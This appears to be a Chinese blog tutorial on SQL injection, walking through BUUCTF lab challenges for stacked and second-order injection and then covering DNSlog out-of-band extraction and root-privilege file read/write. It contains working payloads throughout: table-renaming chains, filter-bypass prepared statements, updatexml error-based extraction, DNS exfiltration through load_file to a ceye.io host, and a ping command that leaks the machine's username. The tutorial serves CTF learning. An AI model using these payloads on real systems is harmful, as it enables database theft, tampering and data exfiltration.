web安全sql注入堆叠&二次&DNSlog&高权限注入

sql堆叠注入

堆叠注入简单的说就是一堆sql语句(多条)执行,由于分号 ; 为MYSQL语句的结束符。若在支持多语句执行的情况下,可利用此方法执行其他恶意语句,如RENAME、DROP等。相关漏洞函数 mysqli_multi_query()函数执行一个或多个针对数据库的查询,多个查询用分号隔开。

这里用buuctf的靶场进行演示
web安全sql注入堆叠&二次&DNSlog&高权限注入_第1张图片
那么打开靶场后如下界面
web安全sql注入堆叠&二次&DNSlog&高权限注入_第2张图片
?inject=1' order by 2--+ 正常注入发现有两列
web安全sql注入堆叠&二次&DNSlog&高权限注入_第3张图片
可以利用 or 把表中所有数据都查询出来,但是并没有我们需要的flag ?inject=1' or 1=1 --+
web安全sql注入堆叠&二次&DNSlog&高权限注入_第4张图片
接着正常union select 联合查询 发现禁用了很多sql语句
web安全sql注入堆叠&二次&DNSlog&高权限注入_第5张图片
然后我们就尝试堆叠注入
查询数据库名称 1';show databases; --+
web安全sql注入堆叠&二次&DNSlog&高权限注入_第6张图片
查询数据库表名 1';show tables; --+
web安全sql注入堆叠&二次&DNSlog&高权限注入_第7张图片
查看表结构,可以发现flag在1919810931114514表里

0';desc `1919810931114514`; --+

web安全sql注入堆叠&二次&DNSlog&高权限注入_第8张图片
再查看words表的结构,发现一共有id和data两列 0';desc words; --+
web安全sql注入堆叠&二次&DNSlog&高权限注入_第9张图片

也可以直接查询列名

0';show columns from `1919810931114514`; --+

web安全sql注入堆叠&二次&DNSlog&高权限注入_第10张图片
方法一

可以猜测我们查询语句很有可能是 : selsect id,data from words where id =
由上面的1’ or 1=1 --+爆出表所有内容就可以查flag,因为可以堆叠查询,这时候就想到了一个改名的方法,把words随便改成words1,然后把1919810931114514改成words,再把列名flag改成id,最后1’ or 1=1 --+拿到flag

payload1

0';rename table words to words1;rename table `1919810931114514` to words;
alter table words change flag id varchar(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;
desc  words;#

拆分开来如下
1';
alter table words rename to words1;
alter table `1919810931114514` rename to words;
alter table words change flag id varchar(100);

1' or 1=1 --+

方法二

预处理语句

预处理相关语法如下:

set  用于设置变量名和值
prepare  用于预备一个语句,并赋予名称,以后可以引用该语句
execute  执行语句
deallocate prepare  用来释放掉预处理的语句

payload2

-1';set @sql = CONCAT('se','lect * from `1919810931114514`;');prepare stmt from @sql;EXECUTE stmt;#

拆分开来如下
-1';
set @sql = CONCAT('se','lect * from `1919810931114514`;');
prepare stmt from @sql;
EXECUTE stmt;
#

结果为: strstr($inject, "set") && strstr($inject, "prepare")

这里检测到了set和prepare关键词,但strstr这个函数并不能区分大小写,我们将其大写即可,继续构造payload

-1';Set @sql = CONCAT('se','lect * from `1919810931114514`;');Prepare stmt from @sql;EXECUTE stmt;#

拆分开来如下:
-1';
Set @sql = CONCAT('se','lect * from `1919810931114514`;');
Prepare stmt from @sql;
EXECUTE stmt;
#

payload3

-1';SeT @a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;
prepare execsql from @a;execute execsql;

web安全sql注入堆叠&二次&DNSlog&高权限注入_第11张图片

题目源码分析

<html>
<head>
    <meta charset="UTF-8">
    <title>easy_sql</title>
</head>

<body>
<h1>取材于某次真实环境渗透,只说一句话:开发和安全缺一不可</h1>
<!-- sqlmap是没有灵魂的 -->
<form method="get">
    姿势: <input type="text" name="inject" value="1">
    <input type="submit">
</form>

<pre>

function waf1($inject) {
     
    preg_match("/select|update|delete|drop|insert|where|\./i",$inject) && die('return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);');
}
function waf2($inject) {
     
    strstr($inject, "set") && strstr($inject, "prepare") && die('strstr($inject, "set") && strstr($inject, "prepare")');
}
if(isset($_GET['inject'])) {
     
    $id = $_GET['inject'];
    waf1($id);
    waf2($id);
    $mysqli = new mysqli("127.0.0.1","root","root","supersqli");
    //多条sql语句
    $sql = "select * from `words` where id = '$id';";
    $res = $mysqli->multi_query($sql);
    if ($res){
     //使用multi_query()执行一条或多条sql语句
      do{
     
        if ($rs = $mysqli->store_result()){
     //store_result()方法获取第一条sql语句查询结果
          while ($row = $rs->fetch_row()){
     
            var_dump($row);
            echo "
"
; } $rs->Close(); //关闭结果集 if ($mysqli->more_results()){ //判断是否还有更多结果集 echo "
"
; } } }while($mysqli->next_result()); //next_result()方法获取下一结果集,返回bool值 } else { echo "error ".$mysqli->errno." : ".$mysqli->error; } $mysqli->close(); //关闭数据库连接 } ?> </pre> </body> </html>

这里使用multi_query()执行一条或多条sql语句,所以就造成了堆叠注入

sql二次注入

二次注入简单的说,就是攻击者构造的恶意payload首先会被服务器存储在数据库中,在之后取出数据库在进行SQL语句拼接时产生的SQL注入问题。

这里用buuctf的靶场进行演示
web安全sql注入堆叠&二次&DNSlog&高权限注入_第12张图片
进入页面后
web安全sql注入堆叠&二次&DNSlog&高权限注入_第13张图片
这里大致的流程就是 注册—>登陆—>查看文章—>个人中心—>修改密码
那么在注册、登陆、文章、修改密码这几个点都可能与数据库交互,就可能存在sql注入

update flags username='flag' where id =2;
update user new_passwd='新密码' where username='用户名' and old_passwd='旧密码'

这里注册的时候可以将用户名设置成一个sql注入语句,但是在密码处它如果进行了md5加密就不能在密码处sql注入,最后就剩下了用户名进行注入,分析完事之后来到注入页面构造语句

' or extractvalue(1,concat(0x7e,database())) or '

web安全sql注入堆叠&二次&DNSlog&高权限注入_第14张图片
web安全sql注入堆叠&二次&DNSlog&高权限注入_第15张图片
发现不行,那我只有抓包咯,试试fuzz字典然后就发现了这些没有过滤
web安全sql注入堆叠&二次&DNSlog&高权限注入_第16张图片
那么考虑这里过滤空格,重新构造payload
x"^extractvalue(1,concat(0x7e,database()))#
web安全sql注入堆叠&二次&DNSlog&高权限注入_第17张图片
注册登陆完事,在修改密码处再次注入
web安全sql注入堆叠&二次&DNSlog&高权限注入_第18张图片
web安全sql注入堆叠&二次&DNSlog&高权限注入_第19张图片
二次注入成功,那么我康康它可能实际在查询的语句

update user new_passwd='新密码' where username="x"^extractvalue(1,concat(0x7e,database()))#
" and old_passwd='旧密码'

后面payload如下

查询表名
test"^updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database()))),1)#

查询flag列名
test"^updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name='flag'))),1)#

查询flag字段
test"^updatexml(1,concat(0x7e,(select(group_concat(flag))from(flag))),1)#

查询users表名
test"^updatexml(1,concat(0x3a,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users')&&(column_name)regexp('^r'))),1)#

查询users字段
test"^updatexml(1,concat(0x3a,(select(group_concat(real_flag_1s_here))from(users))),1)#
test"^updatexml(1,concat(0x3a,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f'))),1)#
test"^updatexml(1,concat(0x3a,reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f')))),1)#

Dnslog注入

Dns在域名解析时会留下域名和解析ip的记录,利用这点我们可以使用Dnslog(日志)记录显示我们的注入结果,通过子查询,将内容拼接到域名内,让load_file()去访问共享文件,访问的域名被记录,此时变为显错注入,将盲注变显错注入,读取远程共享文件,通过拼接出函数做查询,拼接到域名中,访问时将访问服务器,记录后查看日志,解决不回显、反向连接、sql注入、命令执行、SSRF等
参考https://blog.csdn.net/m0_46304840/article/details/106377633

应用场景

1.有文件读取权限及secure-file-priv无值。
2.不知道网站/目标文件/目标目录的绝对路径
3.目标系统为Windows

为什么Windows可用,Linux不行?这里涉及到一个叫UNC的知识点。简单的说,在Windows中,路径以\开头的路径在Windows中被定义为UNC路径,相当于网络硬盘一样的存在,所以我们填写域名的话,Windows会先进行DNS查询。但是对于Linux来说,并没有这一标准,所以DNSLOG在Linux环境不适用。注:payload里的四个\\中的两个\是用来进行转义处理的。

web安全sql注入堆叠&二次&DNSlog&高权限注入_第20张图片
web安全sql注入堆叠&二次&DNSlog&高权限注入_第21张图片
这里就已经记录了我们访问的请求

ping %USERNAME%.ipmohs.ceye.io,记录主机的用户名
web安全sql注入堆叠&二次&DNSlog&高权限注入_第22张图片
payload: load_file(concat(’\\’,(select user()),’.xxxx.ceye.io\xxxx’))

高权限注入

网站在创建的时候一般会跟一个数据库,那么数据库就涉及了系统用户和普通用户

无法使用load_file解决方法如下:
https://blog.51cto.com/xiaocao13140/2120189
https://jingyan.baidu.com/article/6b182309860292ba58e15927.html

比如我在数据库root权限下输入 select load_file('d:/1.txt'); 就可以直接查询到文本内容
web安全sql注入堆叠&二次&DNSlog&高权限注入_第23张图片

select 'a' into outfile 'd:/2.txt'; 在D盘写入文本
web安全sql注入堆叠&二次&DNSlog&高权限注入_第24张图片
在这里插入图片描述
然后就是在普通用户下的一些操作
web安全sql注入堆叠&二次&DNSlog&高权限注入_第25张图片在这里插入图片描述
最后得出结论,系统用户:所有数据库可看,文件读写正常、普通用户:单个数据库可看,文件读写失败

web安全sql注入堆叠&二次&DNSlog&高权限注入_第26张图片

你可能感兴趣的:(web安全,安全,web安全)